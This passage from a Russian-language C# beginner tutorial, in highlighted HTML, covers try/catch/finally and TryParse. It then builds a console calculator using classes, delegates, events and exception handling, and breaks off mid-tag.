— ты видишь страшное красное сообщение. Это <strong>не катастрофа</strong> — это просто C# говорит тебе что именно пошло не так.</p>\n<h3 id=\"try-catch-поймать-исключение\">try / catch — поймать исключение</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">try</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span><span class=\"w\"> </span><span class=\"c1\">// если введут &quot;abc&quot; — исключение!</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Число: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"k\">catch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">FormatException</span><span class=\"w\"> </span><span class=\"n\">ex</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// FormatException — введено что-то не то</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Ошибка: введите корректное число. &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">ex</span><span class=\"p\">.</span><span class=\"n\">Message</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"k\">catch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">Exception</span><span class=\"w\"> </span><span class=\"n\">ex</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// Любое другое исключение</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Что-то пошло не так: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">ex</span><span class=\"p\">.</span><span class=\"n\">Message</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"k\">finally</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// Выполняется ВСЕГДА — и при ошибке и без</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Программа завершила попытку чтения.&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h3 id=\"защитное-чтение-числа-tryparse\">Защитное чтение числа — TryParse</h3>\n<p>Вместо <code>Parse</code> лучше использовать <code>TryParse</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите число: &quot;</span><span class=\"p\">);</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">input</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">number</span><span class=\"p\">))</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Введено: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">number</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"k\">else</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Это не число!&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><code>TryParse</code> не бросает исключение — он просто возвращает <code>true</code>/<code>false</code> и кладёт результат в переменную <code>number</code> (слово <code>out</code> означает «положи результат сюда»).</p>\n<blockquote>\n<p><strong>Совет:</strong> В реальных программах используй <code>TryParse</code> вместо <code>Parse</code> везде где есть ввод от пользователя — это надёжнее.</p>\n</blockquote>\n<hr />\n<h2 id=\"19-итоговый-проект-калькулятор-с-ооп-и-делегатами\">19. Итоговый проект: калькулятор с ООП и делегатами</h2>\n<p>Теперь соберём всё вместе. Перепишем калькулятор используя классы, делегаты, обработку ошибок.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">using</span><span class=\"w\"> </span><span class=\"nn\">System</span><span class=\"p\">;</span>\n<span class=\"k\">using</span><span class=\"w\"> </span><span class=\"nn\">System.Collections.Generic</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// Делегат для математической операции</span>\n<span class=\"k\">delegate</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">MathOperationDelegate</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span>\n\n<span class=\"c1\">// Класс операции — название и реализация</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Operation</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Symbol</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"n\">MathOperationDelegate</span><span class=\"w\"> </span><span class=\"n\">_execute</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Operation</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">symbol</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">MathOperationDelegate</span><span class=\"w\"> </span><span class=\"n\">execute</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Symbol</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">symbol</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">_execute</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">execute</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Execute</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nf\">_execute</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Класс самого калькулятора</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Calculator</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// Словарь: символ операции → объект операции</span>\n<span class=\"w\">    </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"n\">Dictionary</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Operation</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">_operations</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// История вычислений</span>\n<span class=\"w\">    </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">_history</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Событие — вызывается после каждого вычисления</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">event</span><span class=\"w\"> </span><span class=\"n\">Action</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"n\">OnCalculation</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Calculator</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">_history</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">List</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"o\">&gt;</span><span class=\"p\">();</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// Регистрируем операции</span>\n<span class=\"w\">        </span><span class=\"n\">_operations</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dictionary</span><span class=\"o\">&lt;</span><span class=\"kt\">string</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">Operation</span><span class=\"o\">&gt;</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Operation</span><span class=\"p\">(</span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Сложение&quot;</span><span class=\"p\">,</span><span class=\"w\">   </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">},</span>\n<span class=\"w\">            </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Operation</span><span class=\"p\">(</span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Вычитание&quot;</span><span class=\"p\">,</span><span class=\"w\">  </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">},</span>\n<span class=\"w\">            </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Operation</span><span class=\"p\">(</span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Умножение&quot;</span><span class=\"p\">,</span><span class=\"w\">  </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">},</span>\n<span class=\"w\">            </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Operation</span><span class=\"p\">(</span><span class=\"s\">&quot;/&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Деление&quot;</span><span class=\"p\">,</span><span class=\"w\">    </span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span>\n<span class=\"w\">                </span><span class=\"p\">{</span>\n<span class=\"w\">                    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">throw</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">DivideByZeroException</span><span class=\"p\">(</span><span class=\"s\">&quot;Деление на ноль!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">                </span><span class=\"p\">})</span>\n<span class=\"w\">            </span><span class=\"p\">},</span>\n<span class=\"w\">        </span><span class=\"p\">};</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"nf\">Calculate</span><span class=\"p\">(</span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">symbol</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">_operations</span><span class=\"p\">.</span><span class=\"n\">ContainsKey</span><span class=\"p\">(</span><span class=\"n\">symbol</span><span class=\"p\">))</span>\n<span class=\"w\">            </span><span class=\"k\">throw</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"nf\">ArgumentException</span><span class=\"p\">(</span><span class=\"s\">$&quot;Неизвестная операция: {symbol}&quot;</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">_operations</span><span class=\"p\">[</span><span class=\"n\">symbol</span><span class=\"p\">].</span><span class=\"n\">Execute</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">record</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">$&quot;{a} {symbol} {b} = {result}&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">_history</span><span class=\"p\">.</span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"n\">record</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// Уведомляем подписчиков</span>\n<span class=\"w\">        </span><span class=\"n\">OnCalculation</span><span class=\"o\">?.</span><span class=\"n\">Invoke</span><span class=\"p\">(</span><span class=\"n\">record</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">PrintHistory</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">_history</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;История пуста.&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;=== История ===&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">_history</span><span class=\"p\">.</span><span class=\"n\">Count</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;{i + 1}. {_history[i]}&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"nf\">GetAvailableOperations</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"p\">.</span><span class=\"n\">Join</span><span class=\"p\">(</span><span class=\"s\">&quot;, &quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">_operations</span><span class=\"p\">.</span><span class=\"n\">Keys</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Класс UI — читает ввод, выводит результат</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">ConsoleUI</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"n\">Calculator</span><span class=\"w\"> </span><span class=\"n\">_calculator</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">ConsoleUI</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">_calculator</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Calculator</span><span class=\"p\">();</span>\n\n<span class=\"w\">        </span><span class=\"c1\">// Подписываемся на событие — логируем каждое вычисление</span>\n<span class=\"w\">        </span><span class=\"n\">_calculator</span><span class=\"p\">.</span><span class=\"n\">OnCalculation</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">record</span><span class=\"w\"> </span><span class=\"o\">=&gt;</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;[Лог] Вычислено: {record}&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Run</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;=== Калькулятор ===&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите &#39;история&#39; для просмотра истории, &#39;выход&#39; для выхода.\\n&quot;</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">true</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">();</span>\n\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">input1</span><span class=\"p\">.</span><span class=\"n\">ToLower</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;выход&quot;</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">input1</span><span class=\"p\">.</span><span class=\"n\">ToLower</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;история&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">_calculator</span><span class=\"p\">.</span><span class=\"n\">PrintHistory</span><span class=\"p\">();</span>\n<span class=\"w\">                </span><span class=\"k\">continue</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">input1</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">))</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Ошибка: введите число.\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                </span><span class=\"k\">continue</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">$&quot;Операция ({_calculator.GetAvailableOperations()}): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">();</span>\n\n<span class=\"w\">            </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">TryParse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">().</span><span class=\"n\">Trim</span><span class=\"p\">(),</span><span class=\"w\"> </span><span class=\"k\">out</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">))</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Ошибка: введите число.\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">                </span><span class=\"k\">continue</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n\n<span class=\"w\">            </span><span class=\"k\">try</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">_calculator</span><span class=\"p\">.</span><span class=\"n\">Calculate</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">);</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Результат: {result}\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n<span class=\"w\">            </span><span class=\"k\">catch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">DivideByZeroException</span><span class=\"w\"> </span><span class=\"n\">ex</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Ошибка: {ex.Message}\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n<span class=\"w\">            </span><span class=\"k\">catch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">ArgumentException</span><span class=\"w\"> </span><span class=\"n\">ex</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"p\">{</span>\n<span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Ошибка: {ex.Message}\\n&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"p\">}</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;\\nДо свидания!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">class</span><span 